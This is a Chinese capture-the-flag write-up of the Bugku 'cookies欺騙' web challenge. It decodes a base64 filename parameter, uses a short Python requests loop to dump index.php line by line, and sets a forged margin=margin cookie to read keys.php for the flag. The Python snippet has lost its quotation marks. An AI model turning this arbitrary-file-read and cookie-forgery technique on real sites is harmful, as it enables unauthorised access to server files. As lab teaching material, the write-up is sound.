1. 程式人生 > >Bugku_CTF Writeup 之 cookies欺騙

Bugku_CTF Writeup 之 cookies欺騙

header 還需要 ati import Suite rep 一段 aer info

題目描述:

http://120.24.86.145:8002/web11/

答案格式:KEY{xxxxxxxx}

1.開局一個url與一串亂碼:

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru

baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs

gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb

gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai

envdivrbgtubgtrsgb......(此處省略千字)

2.原url有兩個參數

  (1)line=

  (2)filename=a2V5cy50eHQ=

3. 對a2V5cy50eHQ=用base64解碼,得到其明文是key.txt

  猜測filename參數會決定所返回的頁面(可能是源碼),傳遞的參數要是base64密文形式,來交給後臺base64.decode()

  那就傳遞index.php嘍,對應的base64密文是aW5kZXgucGhw

  http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

4.訪問http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

  發現頁面...空了......

  line參數是否決定了返回哪一行呢?

5.令line=1、2、3...n...

  都得到一段php代碼的第n行

  python腳本幫助獲取全部代碼

1 import requests
2 ses=requests.session()
3 url=http://120.24.86.145:8002/web11/index.php 4 for i in range(0,30): 5 payload={line:i,filename:aW5kZXgucGhw} 6 result=ses.get(url,params=payload).text 7 print(result)

6.得到php源碼

 1 <?php
 2 
 3 error_reporting(0);
 4 
 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:"");
 6 
 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
 8 
 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ=");
10 
11 $file_list = array(
12 
13 ‘0‘ =>‘keys.txt‘,
14 
15 ‘1‘ =>‘index.php‘,
16 
17 );
18 
19  
20 
21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){
22 
23 $file_list[2]=‘keys.php‘;
24 
25 }
26 
27  
28 
29 if(in_array($file, $file_list)){
30 
31 $fa = file($file);
32 
33 echo $fa[$line];
34 
35 }
36 
37 ?>

7.代碼最後會輸出一個文件的內容,至於會輸出哪個文件的,就看我們如何提交參數啦

  我們想得到的當然是keys.php的內容,接下來看看得如何構造參數

  將keys.php的base64密文傳入做為filename的參數

  但要將keys.php加入候選文件序列$file_list中,還需要cookies中保存的鍵值對為margin=margin

8.burpsuite改包

  在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=

  再發包、截包、改包三連:(1)filename的值賦為a2V5cy5waHA=

              (2)添加Cookie:margin=margin  

  得到flag:

技術分享圖片

Bugku_CTF Writeup 之 cookies欺騙